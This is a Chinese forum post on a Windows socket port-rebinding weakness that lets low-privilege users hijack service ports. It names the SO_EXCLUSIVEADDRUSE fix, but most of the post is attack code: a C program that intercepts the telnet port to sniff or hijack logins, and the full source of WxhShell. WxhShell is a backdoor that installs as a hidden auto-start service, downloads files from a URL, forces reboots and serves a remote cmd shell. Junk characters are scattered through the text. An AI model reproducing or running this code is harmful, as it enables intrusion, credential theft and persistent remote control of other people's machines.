-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _S1>j7RQo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nh>vixe \ :sUL! saddr.sin_family = AF_INET; xJ8M6O8 *vxk@`K~ saddr.sin_addr.s_addr = htonl(INADDR_ANY); mxC;?s;~ b5vC'B-! bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1~
3_^3OT *)T^ChD, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #OD/$f_ ,m:.-iy? 这意味着什么?意味着可以进行如下的攻击: (Zrj_P`0[ 0&|\N
? 8_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E,U+o $ kJsN|= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &
G4\2l9
xF'EiX ~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E
A1?)|}n WiR(;m<g 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ] 72`}; 0@iY:aF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IY\5@PVZ b9HtR -iR; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6j]0R*B7`Q x*U)Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g7`LEF <A w``ST #include <)c)%'v #include 9IfmW^0 #include ~KX/
Ai #include q ^N7I@Y DWORD WINAPI ClientThread(LPVOID lpParam); &.Qrs:U int main() { @{']Y { Vaw+.sG`AP WORD wVersionRequested; |FZ/[9* DWORD ret; @9RM9zK.q WSADATA wsaData; {qJ1ko)$ BOOL val; L+i=VGm0 SOCKADDR_IN saddr; bJ {'<J SOCKADDR_IN scaddr; 9-a0 :bP int err; Zt{[*~ SOCKET s; #'szP\ SOCKET sc; ~-Qw.EdC int caddsize; &Q#66ev HANDLE mt; CXMLt DWORD tid; F/kWHVHU[ wVersionRequested = MAKEWORD( 2, 2 ); ZG8DIV\D7 err = WSAStartup( wVersionRequested, &wsaData ); plstZ,#j if ( err != 0 ) { 08\,<9 printf("error!WSAStartup failed!\n"); eJX9_6m- return -1; _|I#{jK } zL0pw'4 saddr.sin_family = AF_INET; $Sip$\+* Vv=. -&' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i3mcx)d@H SRDp* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8dIgjQX| saddr.sin_port = htons(23); )}Kf= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Js?]$V" { vr6w^&[c^ printf("error!socket failed!\n"); A]oV"`f return -1; "JV_ 2K_i } wc4{)qDE val = TRUE; By4<2u38u //SO_REUSEADDR选项就是可以实现端口重绑定的 .?sx&2R2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v^*K:#<Q! {
>Abdd printf("error!setsockopt failed!\n"); !?h;wR return -1; >SHhAEF } ul >3B4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z$. 88^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K
Z91- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 P}^W)@+3k c-6?2\]j@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =X:Y,? { E*K;H8}s ret=GetLastError(); 0~/_|?]`7 printf("error!bind failed!\n"); 7[XRd9a5( return -1; +\
.Lp 5 } Qe:seW
listen(s,2); :':s@gqr while(1) 9qzHS~l { WW~sNC\3`( caddsize = sizeof(scaddr); p}~JgEE //接受连接请求 ;[OH(! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i<Zc"v; if(sc!=INVALID_SOCKET) VjZ|$k { 4!no~ $b mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q/0Tj]D if(mt==NULL) 7;wd(8 { hhc,uJ">! printf("Thread Creat Failed!\n"); VuZuS6~#J break; g1 "kTh } Dp-z[]})1 } F{;((VboN CloseHandle(mt); +VOK%8,p } BUXpCxQ closesocket(s); c 3)jccWTc WSACleanup(); M%P:n/j return 0; )1`0PJoHE } w_K1]<Q* DWORD WINAPI ClientThread(LPVOID lpParam) .p"
xVfi6 { $DaNbLV SOCKET ss = (SOCKET)lpParam; r52gn(, SOCKET sc; 6mxfLlZ unsigned char buf[4096]; -X2Buz8 SOCKADDR_IN saddr; 9EibIOD^/ long num; I:1C8*/ DWORD val; U8n V[ DWORD ret; M-Y_ Wb3 //如果是隐藏端口应用的话,可以在此处加一些判断 R8Fv{7]c //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =MDysb&: saddr.sin_family = AF_INET; ],Do6
@M- saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B*Dz{a^.: saddr.sin_port = htons(23); oQ[f,7u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;+hH { jasy<IqT!{ printf("error!socket failed!\n"); K`fuf= return -1; =$JET<( } )=_,O=z$K val = 100; ')<hON44EX if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '!~)?C< { E""bTz@ ret = GetLastError(); F0Yd@Lk$_ return -1; *#+An<iT ; }
n<R?ffy if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "'?>fe\qG { ^9:Z7 >Z ret = GetLastError(); 59;KQ return -1; pB0 \\wR } 2.%ITB if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }y gD3:vN7 { vy:Z /1q printf("error!socket connect failed!\n"); PtiOz
:zV closesocket(sc); >7DhTM-A closesocket(ss); 5vnrA'BhBU return -1; 4zFW-yy } @*KZ}i@._ while(1) 5#E`=C% { &`2)V;t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8$Y9ORs4 //如果是嗅探内容的话,可以再此处进行内容分析和记录 $X,D( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hf&9uHN%7m num = recv(ss,buf,4096,0); f
x+/C8GK if(num>0) 88wa7i* send(sc,buf,num,0); ri-b=|h2j else if(num==0) J)p
l|I break; q9s=~d7 num = recv(sc,buf,4096,0); Jij*x>K>y if(num>0) ;vjOUn[E send(ss,buf,num,0); V1B5w_^>h' else if(num==0) p9{mS7R9T break; >(t6.= } tf`^v6m%] closesocket(ss); ds[| closesocket(sc); qF;|bF return 0 ; 9V*qQS5<p } /hyN;.hpOO *VxgARIL i?^L/b`H ========================================================== /aZ`[m2 z*%q@]ym 下边附上一个代码,,WXhSHELL smo~7; B
\2SH%\ ========================================================== 'E""amIJ oe-\ozJ0 #include "stdafx.h" 0oIe>r 4
"'~NvO #include <stdio.h> &6nWzF #include <string.h> ~oY^;/ j #include <windows.h> \z(gqkc 6 #include <winsock2.h> ?^\|-Gr #include <winsvc.h> sD#.Oq4&]y #include <urlmon.h> .U]-j\ 40m -ch6Q #pragma comment (lib, "Ws2_32.lib") ^Xh^xL2cn #pragma comment (lib, "urlmon.lib") -PR N:'T v mk2{f,g #define MAX_USER 100 // 最大客户端连接数 C!bUI8x
z #define BUF_SOCK 200 // sock buffer E+;7>ja #define KEY_BUFF 255 // 输入 buffer </*6wpN 7WZ+T"O{I #define REBOOT 0 // 重启 &0JI!bR( #define SHUTDOWN 1 // 关机 Lt>IX") JDT`C2-Q #define DEF_PORT 5000 // 监听端口 P@c5pc#| aAUvlb #define REG_LEN 16 // 注册表键长度 8FY?!C #define SVC_LEN 80 // NT服务名长度 .,6-u -e:`|(Mo // 从dll定义API P\k# >}} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iGB}Il) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c\AfaK^KF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;u)I\3`*! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $*fMR,~t& SO0PF|{\r // wxhshell配置信息 ;uP:"k struct WSCFG { 20Wg=p9L int ws_port; // 监听端口 cyz3,3\e char ws_passstr[REG_LEN]; // 口令 }-=|^ int ws_autoins; // 安装标记, 1=yes 0=no Uz]|N6` char ws_regname[REG_LEN]; // 注册表键名 YNi.SXH char ws_svcname[REG_LEN]; // 服务名 5$C-9 char ws_svcdisp[SVC_LEN]; // 服务显示名 }&D32\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 U-M>=3|N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +52{-a,> int ws_downexe; // 下载执行标记, 1=yes 0=no -nV9:opD char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" {_v#~595 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *0=j?~& W7nw6;7= }; ZPYS$Ydy 9x=Y^',5 // default Wxhshell configuration 6T`i/". struct WSCFG wscfg={DEF_PORT, Qzw;i8n{ "xuhuanlingzhe", /mzlH 1, NTs aW}g "Wxhshell", Z(CkZll "Wxhshell", }0Ed] "WxhShell Service", e$rZ5X "Wrsky Windows CmdShell Service", b d!Y\OD "Please Input Your Password: ", t*w/{|yO 1, 7-fb.V9 " http://www.wrsky.com/wxhshell.exe", }@d @3 "Wxhshell.exe" \,0oX!<YY }; 2<}%kQ` L~N460 // 消息定义模块 h<<v^+m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IW] rb/H char *msg_ws_prompt="\n\r? for help\n\r#>"; 3/eca char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; j?4qO]_Wx+ char *msg_ws_ext="\n\rExit."; 5`p.#
char *msg_ws_end="\n\rQuit."; ;;/{xvQ.1 char *msg_ws_boot="\n\rReboot..."; ;9QEK]@ char *msg_ws_poff="\n\rShutdown..."; |P?*5xPB char *msg_ws_down="\n\rSave to "; AFwdJte9e jAlv`uB|G" char *msg_ws_err="\n\rErr!"; ;
BHtCuY char *msg_ws_ok="\n\rOK!"; >i?oC^QM O?#7N[7 char ExeFile[MAX_PATH]; @`9]F7h5W int nUser = 0; wN~_v-~*Q HANDLE handles[MAX_USER]; .HABNPNg( int OsIsNt; :gFx{*xN/9 uW
%# SERVICE_STATUS serviceStatus; [ub e6 SERVICE_STATUS_HANDLE hServiceStatusHandle; KF:78C \Yr Ue1 // 函数声明 ,r_Gf5c int Install(void); )zDCu` int Uninstall(void); 4;2uW#dG" int DownloadFile(char *sURL, SOCKET wsh); FGBbO\</ int Boot(int flag); X|]AT9W void HideProc(void); >Cq<@$I2EB int GetOsVer(void); mj7#&r,1l int Wxhshell(SOCKET wsl); G$('-3@i`w void TalkWithClient(void *cs); PXNuL& int CmdShell(SOCKET sock); ?(_08O int StartFromService(void); gL/9/b4 int StartWxhshell(LPSTR lpCmdLine); 1EX;MW-p<T E}Uc7G VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *MW\^PR? VOID WINAPI NTServiceHandler( DWORD fdwControl ); >uEzw4w IO<6 // 数据结构和表定义 ="l/ klYV SERVICE_TABLE_ENTRY DispatchTable[] = h^P#{W!e\ { )Hr`MB {wscfg.ws_svcname, NTServiceMain}, `r 4fm`< {NULL, NULL} XC#oB~K' }; aV0"~5 ]\HvK CN} // 自我安装 /&JT~M int Install(void) "qy,*{~ { +k R4E23: char svExeFile[MAX_PATH]; !ULn7\@ HKEY key; n|yO9:Uw< strcpy(svExeFile,ExeFile); *wjrR1#81x -M#Wt`6A // 如果是win9x系统,修改注册表设为自启动 k$:|-_(w if(!OsIsNt) { C\hM =% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i SQu#p@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B^}yo65I RegCloseKey(key); {R{=+2K!|k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Y m2/3! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v4 E}D RegCloseKey(key); 6Q5^>\Y return 0; X1_5KH } Bk{]g=DO } vtJJ#8a]
} k4zZ7H else { lPAQ3t!, SSzIih@u // 如果是NT以上系统,安装为系统服务 ,|/f`Pl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %mgE;~"& if (schSCManager!=0) %iqD5x$OA { Q22 GIr SC_HANDLE schService = CreateService +&H4m=D-#a ( 9}
.z;prz schSCManager, es0hm2HT3 wscfg.ws_svcname, sV*H`N')S wscfg.ws_svcdisp, wVtwx0|1 SERVICE_ALL_ACCESS, )0k53-h& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }c:M^Ff SERVICE_AUTO_START, 3Tm+g2w2V8 SERVICE_ERROR_NORMAL, d2L&Z_} svExeFile, I)HPO,7 NULL, 3=V&K- NULL, 'dc#F3 NULL, 1Ai^cf:S NULL, e]$s
t? NULL o^wqFX(Y ); tfWS)y7 if (schService!=0) >/6 _ ^ { {id4:^u&; CloseServiceHandle(schService); u)Whr@m CloseServiceHandle(schSCManager); 8H`[*|{' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;<4a*;IO strcat(svExeFile,wscfg.ws_svcname); MiX 43Pk] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4Wp=y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uhq8 RegCloseKey(key); ,<X9 Y2B return 0; 9:lFo= } -trkA'ewZ } F((4U"
CloseServiceHandle(schSCManager); _)iCa3z } An0GPhC } tX~w{|k cm+P]8o%{ return 1; i"=\d } 1=v*O.XW` =-Ck4e *T // 自我卸载 62NsJ<#> int Uninstall(void) b#o|6HkW { ]/{)bpu HKEY key; :rP=t , Zj
Z^_X3 if(!OsIsNt) { 9A#i_#[R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >8[Z.fX RegDeleteValue(key,wscfg.ws_regname); z'7]h TA RegCloseKey(key); y>ktcuML if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eszG0Wu RegDeleteValue(key,wscfg.ws_regname); ~F#j#n(=`q RegCloseKey(key); ^=*;X;7 return 0; ]I6 J7A[ } &xExyz~` } u$`a7Lp,n } lk =<A"^S else { !PE]C!*gv& 1AFA=t:]p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wdoR%b{M if (schSCManager!=0) dgP3@`YS { #p{4^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "uf%iJ:% if (schService!=0) *=xr-!MEk { _','9| if(DeleteService(schService)!=0) { c1gQ cqF CloseServiceHandle(schService); hCo|HB CloseServiceHandle(schSCManager); FC4wwzb return 0; f,Ghb~y } !TcJ)0
CloseServiceHandle(schService); bN=P*hdf } [PbOfxxgA CloseServiceHandle(schSCManager); &6k3*dq } 7PF%76TO } 51.%;aY~z 5E
<kwi return 1; q0\6F^;M } lr$zHI7_` N)Z?Z+}h // 从指定url下载文件 EBmt9S int DownloadFile(char *sURL, SOCKET wsh) bQ5\ ]5M { &>}5jC.I HRESULT hr; I*^Ta{j[ char seps[]= "/"; -DAlRz#d, char *token; >5SSQ\ 2~a char *file; lUMdrt0@z char myURL[MAX_PATH]; XB5DPx char myFILE[MAX_PATH]; \.}c9*) x$(f7?s] 1 strcpy(myURL,sURL); NyuQMU token=strtok(myURL,seps); 7>*vI7O0l while(token!=NULL) Vf1^4t { Dum9lj file=token; N4HqLh23H token=strtok(NULL,seps); AwF:Iu^3n } 8Cv?Z.x5 h@wgd~X9 GetCurrentDirectory(MAX_PATH,myFILE); HkVB80hv strcat(myFILE, "\\"); l9H!au= strcat(myFILE, file); 7cMv/g^h@ send(wsh,myFILE,strlen(myFILE),0); uXl3k:_n send(wsh,"...",3,0); An/|+r\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3irl
(;v if(hr==S_OK) '/%H3A#L return 0; .5{ab\_af else =H]@n|$( return 1; 2I{"XB pI<f) r } l}M!8:UzU o[D9I
hs // 系统电源模块 Z<{QaY$" int Boot(int flag) dUdT7ixo { 5Jnlz@P9 HANDLE hToken; E&:,oG2M TOKEN_PRIVILEGES tkp; <ZR9GlIr \z}
Ic%Tp if(OsIsNt) { oe~b}: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q-d:TMkc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y`wSv NU tkp.PrivilegeCount = 1; 7E!5G2XX~~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cQ_Hp
<D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "5$B>S(Q if(flag==REBOOT) { UJ6v(:z< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eb$#A _m return 0; ~WV"SaA)*U } 1[-tD0{H else { JOBhx)E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [z9Z5sLO return 0; '@P^0+B!(. } KJZ4AWH` } +m,yA mEEd else { 2^yU ~`# if(flag==REBOOT) { iO;
7t@]- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,~W|]/b<q return 0; FJ?IUy 6 } Q#zmf24W else { _v]MsT-q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \xoP)Ub> return 0; ;i:d+!3XwC } RViuJ; } }*"p?L^p{ IIx#2r return 1; uY'HT|@:{ } 7. ;3e@s y"wShAR // win9x进程隐藏模块 -z(+/ /K:# void HideProc(void) @Do= k { ;sFF+^~L S|+o-[e8O HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4H]L~^CD if ( hKernel != NULL ) $PHvA6D { .#pU=v#/[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UW
EV^ &"x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JqiP>4Uwm^ FreeLibrary(hKernel); }JAG7L&{ } =odFmF )53y
AyP return; du^J2m{f } 8)I^ t81 *4Y Vv // 获取操作系统版本 (Ep\Z 6* int GetOsVer(void) !%0 *z { Ma"]PoP OSVERSIONINFO winfo; ;4~hB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W5MTD]J GetVersionEx(&winfo); Q]>.b%s[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q5:N2Jmo?z return 1; pyvSwD5t else 12LL48bi return 0; Z#\P&\`1z } u;c?d!E \)|hogI|f // 客户端句柄模块 !C:$?oU int Wxhshell(SOCKET wsl) Z?QC!bWb { +K4}Dmg SOCKET wsh; #;nYg?d= struct sockaddr_in client; '`KY!]L DWORD myID; XpJ7o=?W3 n?Nt6U while(nUser<MAX_USER) 92KRb;c { }`~+]9< int nSize=sizeof(client); ^J;bso` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }pu27F)& if(wsh==INVALID_SOCKET) return 1; LFtt gY %bfQ$a: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <UQbt N-B\ if(handles[nUser]==0) '."ed%=MC closesocket(wsh); 3$9W%3 else HA>OkA/ nUser++; n7-6-
# } <e</m)j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B`J~^+`[* {{p7 3
'u return 0; X}\:_/ } 3/n5#&c\4 Jz e:[MYS // 关闭 socket JFk
lUgg void CloseIt(SOCKET wsh) )P|),S,;Z { "LTad`]<Ro closesocket(wsh); s!7y nUser--; k+pr \d ~ ExitThread(0); }U"&8%PZr } W:L
AP
R WI-1)1t // 客户端请求句柄 '1s0D] void TalkWithClient(void *cs) :Fvrs(
x { u:_,GQ )\ ;;N9>M?b SOCKET wsh=(SOCKET)cs; OpYY{f char pwd[SVC_LEN]; I9hK }D char cmd[KEY_BUFF]; kpN)zxfk char chr[1]; %OOl'o"V{s int i,j; `RL"AH:+ j#q-^h3H while (nUser < MAX_USER) { .ctw2x5W [3|P 7?W/ if(wscfg.ws_passstr) { 03 #lX(MB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ut7zVp<" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [K0(RDV)% //ZeroMemory(pwd,KEY_BUFF); K(,F~.< i=0; [E juUElr while(i<SVC_LEN) { I4i>+:_J HCC#j9UN6 // 设置超时 @r/nF5 fd_set FdRead; oEZdd#*; struct timeval TimeOut; %M|hA#04vZ FD_ZERO(&FdRead); }Ud*TOo ` FD_SET(wsh,&FdRead); _>X+ZlpU: TimeOut.tv_sec=8; ( 0_2sfS TimeOut.tv_usec=0; eV?2LtT#5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zba2d,8/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J{fH['tzO RdRp.pb8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I(BQ34q pwd =chr[0]; YGCL2Y if(chr[0]==0xd || chr[0]==0xa) { GDiBl* D pwd=0; p4
^yVa break; n]o<S+z } vT,AMja i++; q6V>zi } QX'qyojxN n[Y~] // 如果是非法用户,关闭 socket 5uj?#)N if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); );&:9[b_ } H%Q7D- ;u46Z send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8>in_h9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JO6)-U$7UG g&Vx:fOC while(1) { pJ'"j 6Q #fn)k1 ZeroMemory(cmd,KEY_BUFF); ,M
^<CJ @O^6&\s> // 自动支持客户端 telnet标准 dE{dZ#Jfi j=0; a'yK~;+_9 while(j<KEY_BUFF) { SbrecZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )W
_v:?A9 cmd[j]=chr[0]; 3K0A)W/YEs if(chr[0]==0xa || chr[0]==0xd) { OU
$#5 cmd[j]=0; ud@%5d break; <&g,Nc'5C } 3kp+<$ j++; 6)
[H?Q } mLLDE;7|} V#gK$uv // 下载文件 gu.}M:u if(strstr(cmd,"http://")) { v\%HPMlh send(wsh,msg_ws_down,strlen(msg_ws_down),0); B!L{ if(DownloadFile(cmd,wsh)) rlSeu5X6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <
!C)x else ['tY4$L( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SP_75BJ } R=2FNP else { 6HWE~`ok6 `%"\@< switch(cmd[0]) { #r~# I}U (2E\p // 帮助 '/p/8V.O. case '?': { .:%0E`E send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zaf:fsj> break; jZkcBIK2 } FxWS V| Z // 安装 ?_9 case 'i': { ,CcV/K if(Install()) >7T'OC send(wsh,msg_ws_err,strlen(msg_ws_err),0); h_3E)jc else 0#Y5_i|p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a:OQGhc= break; ~1AgD-:Jz } `MN4uC // 卸载 ,77d(bR< case 'r': { CXx*_@}MU if(Uninstall()) $AjHbU.I{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ed df2;-. else ?(F6#"/E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,pQZ@I\z break; cO+qs[
BQ } k&vz7Q`T // 显示 wxhshell 所在路径 2,b(,3{`4: case 'p': { BLf>_bUk char svExeFile[MAX_PATH]; DGn;m\B strcpy(svExeFile,"\n\r"); ;~ $'2f~U strcat(svExeFile,ExeFile); tOd&!HYL send(wsh,svExeFile,strlen(svExeFile),0); m6\E$;` break; +RM SA^ } +YKi, // 重启 hPkWCoQpq case 'b': { ;LPfXpR send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Hnb}L if(Boot(REBOOT)) CMG&7(MR send(wsh,msg_ws_err,strlen(msg_ws_err),0);
#3@rS else { aU "8{ closesocket(wsh); li'YDtMKCY ExitThread(0); JWhdMU } :tB1D@Cb6 break; Val|n*% } :W.(S6O( // 关机 p\tm:QWD; case 'd': {
03qQ'pq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rIu$pZO if(Boot(SHUTDOWN)) S\YTX%Xm} send(wsh,msg_ws_err,strlen(msg_ws_err),0); gw3K+P else { %G/hD closesocket(wsh); ^?7-r6 ExitThread(0); +-U- D?- }
Rn(ec break; < #}5IQ5`Z } ~IfJwBn-i // 获取shell tGh~!|P case 's': { Ms5ap<q# CmdShell(wsh); HIR~"It$
closesocket(wsh); bz2ztH9 n ExitThread(0); i$:*Pb3mV break; v6M6>&RR| } Vl/+;6_ // 退出 FaQe_; case 'x': { L~rBAIdD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vrhT<+q CloseIt(wsh); +_?hK{Ib" break; Hz1%x } t?x<g <PJ4 // 离开 rq/yD,I, case 'q': { DJXmGt] send(wsh,msg_ws_end,strlen(msg_ws_end),0); +ocol6G7W closesocket(wsh); fF$<7O)+] WSACleanup(); 0w\zLU exit(1); %S@ZXf~: break; \K{0L } QQ*hCyw! } vv3*
j&I } 0d"[l@UU0 7$vYo
_ // 提示信息 \FbvHr, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?qLFaFt/ } EyD=q! ZVZ } q77;ZPfs8 jk; clwyz/ return; +,TRfP
Fb } 6S'yZQ|b 8>2.UrC // shell模块句柄 j9x<Y] int CmdShell(SOCKET sock) h5{'Q$Erl { 1MP~dRZ$ STARTUPINFO si; [LjT*bi ZeroMemory(&si,sizeof(si)); L%*!`TN si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hYT0l$Ng si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W#4 7h7M PROCESS_INFORMATION ProcessInfo; e#L8X
{f char cmdline[]="cmd"; SIF/-{i(X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [fya)} return 0; @Q
